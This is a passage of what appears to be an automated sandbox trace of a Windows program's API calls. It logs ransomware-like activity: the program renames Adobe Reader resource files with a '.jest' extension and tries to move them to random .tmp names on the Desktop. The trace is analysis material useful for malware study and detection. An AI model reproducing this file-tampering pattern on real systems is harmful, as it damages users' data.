(bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳瑬䱟⹔硴t") returned 0x6b [0151.139] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144eaec, cbMultiByte=107, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 107 [0151.139] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳瑬䱟⹔硴t") returned 0x6b [0151.139] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144eaec, cbMultiByte=108, lpWideCharStr=0x144ddec, cchWideChar=215 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.lt_LT.txt") returned 108 [0151.139] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳瑬䱟⹔硴⹴敪瑳") returned 0x70 [0151.139] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=112, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 112 [0151.139] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳瑬䱟⹔硴⹴敪瑳") returned 0x70 [0151.140] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=113, lpWideCharStr=0x1445ffc, cchWideChar=225 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.lt_LT.txt.jest") returned 113 [0151.140] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.lt_LT.txt", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.lt_LT.txt", lpUsedDefaultChar=0x0) returned 108 [0151.140] VarBstrFromR4 (in: fltIn=0x47945069, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.82") returned 0x0 [0151.141] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.141] CoFreeUnusedLibraries () [0151.141] GetTickCount () returned 0x11578d8 [0151.141] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.141] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.141] GetTickCount () returned 0x11578d8 [0151.141] IsWindowVisible (hWnd=0x30268) returned 0 [0151.141] Sleep (dwMilliseconds=0x0) [0151.142] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.lt_LT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.lt_lt.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qr3XB9H5FT1jZeF_Lpb-gvuVkKkjKRxr3DrFDef2jPWCKeVknQjIz5Czw0Zw3t0qTrTm-rZw5z84GJTkJYyZLDVK8zFRuM39AWM3.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qr3xb9h5ft1jzef_lpb-gvuvkkkjkrxr3drfdef2jpwckevknqjiz5czw0zw3t0qtrtm-rzw5z84gjtkjyyzldvk8zfrum39awm3.tmp")) returned 0 [0151.142] GetLastError () returned 0x2 [0151.143] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.143] CoFreeUnusedLibraries () [0151.143] GetTickCount () returned 0x11578e8 [0151.143] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.143] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.143] GetTickCount () returned 0x11578e8 [0151.143] IsWindowVisible (hWnd=0x30268) returned 0 [0151.143] Sleep (dwMilliseconds=0x0) [0151.147] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.lt.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.lt.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.lt.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.lt.txt.jest")) returned 1 [0151.148] GetLastError () returned 0x0 [0151.148] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳瑬琮瑸") returned 0x68 [0151.148] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144eaec, cbMultiByte=104, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 104 [0151.148] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳瑬琮瑸") returned 0x68 [0151.148] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144eaec, cbMultiByte=105, lpWideCharStr=0x1445ffc, cchWideChar=209 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.lt.txt") returned 105 [0151.148] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳瑬琮瑸樮獥t") returned 0x6d [0151.148] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ebf4, cbMultiByte=109, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 109 [0151.148] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳瑬琮瑸樮獥t") returned 0x6d [0151.148] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ebf4, cbMultiByte=110, lpWideCharStr=0x1467bd4, cchWideChar=219 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.lt.txt.jest") returned 110 [0151.149] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.lt.txt", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.lt.txt", lpUsedDefaultChar=0x0) returned 105 [0151.149] VarBstrFromR4 (in: fltIn=0x4794506b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.84") returned 0x0 [0151.149] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.149] CoFreeUnusedLibraries () [0151.150] GetTickCount () returned 0x11578e8 [0151.150] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.150] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.150] GetTickCount () returned 0x11578e8 [0151.150] IsWindowVisible (hWnd=0x30268) returned 0 [0151.150] Sleep (dwMilliseconds=0x0) [0151.151] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.lt.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.lt.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\FqioSOG4gFsiPGqwoH5QCxJVbgfMbCtL2 J7P5nGVf3t79x7CoflBVRYGQobjFWQUWHb4dpTp3tg64qxy3S96yETQrmiTPkIhFgZ6.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fqiosog4gfsipgqwoh5qcxjvbgfmbctl2 j7p5ngvf3t79x7coflbvrygqobjfwquwhb4dptp3tg64qxy3s96yetqrmitpkihfgz6.tmp")) returned 0 [0151.151] GetLastError () returned 0x2 [0151.151] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.151] CoFreeUnusedLibraries () [0151.151] GetTickCount () returned 0x11578e8 [0151.151] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.151] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.152] GetTickCount () returned 0x11578e8 [0151.152] IsWindowVisible (hWnd=0x30268) returned 0 [0151.152] Sleep (dwMilliseconds=0x0) [0151.153] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.lv_LV.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.lv_lv.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.lv_LV.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.lv_lv.txt.jest")) returned 1 [0151.154] GetLastError () returned 0x0 [0151.154] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳癬䱟⹖硴t") returned 0x6b [0151.154] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ebf4, cbMultiByte=107, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 107 [0151.154] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳癬䱟⹖硴t") returned 0x6b [0151.154] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ebf4, cbMultiByte=108, lpWideCharStr=0x144bb04, cchWideChar=215 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.lv_LV.txt") returned 108 [0151.154] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳癬䱟⹖硴⹴敪瑳") returned 0x70 [0151.154] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=112, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 112 [0151.154] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳癬䱟⹖硴⹴敪瑳") returned 0x70 [0151.154] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=113, lpWideCharStr=0x146c82c, cchWideChar=225 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.lv_LV.txt.jest") returned 113 [0151.154] VarBstrFromR4 (in: fltIn=0x4794506b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.84") returned 0x0 [0151.155] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.155] CoFreeUnusedLibraries () [0151.155] GetTickCount () returned 0x11578e8 [0151.155] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.155] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.155] GetTickCount () returned 0x11578e8 [0151.155] IsWindowVisible (hWnd=0x30268) returned 0 [0151.155] Sleep (dwMilliseconds=0x0) [0151.156] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.lv_LV.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.lv_lv.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\DwkUBwRxUiwfiR_N6ioYVXx4o0njADyQ4o0srYqtzEGI9HetLmkhEg_0B_oRToXH-VPEXx 3vbxBIf2-33QwEIO9CV3eIrvwSe.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dwkubwrxuiwfir_n6ioyvxx4o0njadyq4o0sryqtzegi9hetlmkheg_0b_ortoxh-vpexx 3vbxbif2-33qweio9cv3eirvwse.tmp")) returned 0 [0151.156] GetLastError () returned 0x2 [0151.157] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.157] CoFreeUnusedLibraries () [0151.157] GetTickCount () returned 0x11578f7 [0151.157] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.157] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.157] GetTickCount () returned 0x11578f7 [0151.157] IsWindowVisible (hWnd=0x30268) returned 0 [0151.157] Sleep (dwMilliseconds=0x0) [0151.158] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.lv.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.lv.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.lv.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.lv.txt.jest")) returned 1 [0151.160] GetLastError () returned 0x0 [0151.160] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳癬琮瑸") returned 0x68 [0151.160] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ebf4, cbMultiByte=104, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 104 [0151.160] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳癬琮瑸") returned 0x68 [0151.160] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ebf4, cbMultiByte=105, lpWideCharStr=0x146c82c, cchWideChar=209 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.lv.txt") returned 105 [0151.160] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳癬琮瑸樮獥t") returned 0x6d [0151.160] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ddec, cbMultiByte=109, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 109 [0151.160] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳癬琮瑸樮獥t") returned 0x6d [0151.160] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ddec, cbMultiByte=110, lpWideCharStr=0x1467bd4, cchWideChar=219 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.lv.txt.jest") returned 110 [0151.161] VarBstrFromR4 (in: fltIn=0x4794506d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.85") returned 0x0 [0151.161] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.161] CoFreeUnusedLibraries () [0151.161] GetTickCount () returned 0x11578f7 [0151.161] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.161] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.161] GetTickCount () returned 0x11578f7 [0151.161] IsWindowVisible (hWnd=0x30268) returned 0 [0151.161] Sleep (dwMilliseconds=0x0) [0151.162] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.lv.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.lv.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\r FHEcMYPm_E0weic1P cXJxe3utsdx82mPe31fpgkhZzjNRJNvMDRxHSn3aG9J-INOrUt4lHwKeUD-vYkZhcWcBiZxV6QBzTG9m.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\r fhecmypm_e0weic1p cxjxe3utsdx82mpe31fpgkhzzjnrjnvmdrxhsn3ag9j-inorut4lhwkeud-vykzhcwcbizxv6qbztg9m.tmp")) returned 0 [0151.162] GetLastError () returned 0x2 [0151.163] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.163] CoFreeUnusedLibraries () [0151.163] GetTickCount () returned 0x11578f7 [0151.163] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.163] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.163] GetTickCount () returned 0x11578f7 [0151.163] IsWindowVisible (hWnd=0x30268) returned 0 [0151.163] Sleep (dwMilliseconds=0x0) [0151.165] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.hu.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.hu.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.hu.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.hu.txt.jest")) returned 1 [0151.166] GetLastError () returned 0x0 [0151.166] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳畨琮瑸") returned 0x68 [0151.166] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ebf4, cbMultiByte=104, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 104 [0151.166] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳畨琮瑸") returned 0x68 [0151.166] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ebf4, cbMultiByte=105, lpWideCharStr=0x1467bd4, cchWideChar=209 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.hu.txt") returned 105 [0151.166] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳畨琮瑸樮獥t") returned 0x6d [0151.166] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144eaec, cbMultiByte=109, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 109 [0151.166] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳畨琮瑸樮獥t") returned 0x6d [0151.166] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144eaec, cbMultiByte=110, lpWideCharStr=0x144ddec, cchWideChar=219 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.hu.txt.jest") returned 110 [0151.166] VarBstrFromR4 (in: fltIn=0x4794506d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.85") returned 0x0 [0151.167] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.167] CoFreeUnusedLibraries () [0151.167] GetTickCount () returned 0x11578f7 [0151.167] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.167] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.167] GetTickCount () returned 0x11578f7 [0151.167] IsWindowVisible (hWnd=0x30268) returned 0 [0151.167] Sleep (dwMilliseconds=0x0) [0151.168] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.hu.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.hu.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\YvFMIoUKLwY53kRek9riKdw--lJh CsqKWGb FHgjiuRVSnTCVx4hNYohEbXKHxxypGdiPGq4Cvm_CouiS4G_BLSdl5H sLNC3hk.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yvfmiouklwy53krek9rikdw--ljh csqkwgb fhgjiurvsntcvx4hnyohebxkhxxypgdipgq4cvm_couis4g_blsdl5h slnc3hk.tmp")) returned 0 [0151.168] GetLastError () returned 0x2 [0151.169] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.169] CoFreeUnusedLibraries () [0151.169] GetTickCount () returned 0x11578f7 [0151.169] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.169] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.169] GetTickCount () returned 0x11578f7 [0151.169] IsWindowVisible (hWnd=0x30268) returned 0 [0151.169] Sleep (dwMilliseconds=0x0) [0151.171] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.hu_HU.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.hu_hu.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.hu_HU.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.hu_hu.txt.jest")) returned 1 [0151.172] GetLastError () returned 0x0 [0151.172] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳畨䡟⹕硴t") returned 0x6b [0151.172] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144eaec, cbMultiByte=107, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 107 [0151.172] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳畨䡟⹕硴t") returned 0x6b [0151.172] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144eaec, cbMultiByte=108, lpWideCharStr=0x144bb04, cchWideChar=215 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.hu_HU.txt") returned 108 [0151.172] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳畨䡟⹕硴⹴敪瑳") returned 0x70 [0151.172] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=112, lpWideCharStr=0x0, cchWideChar=0 | out: 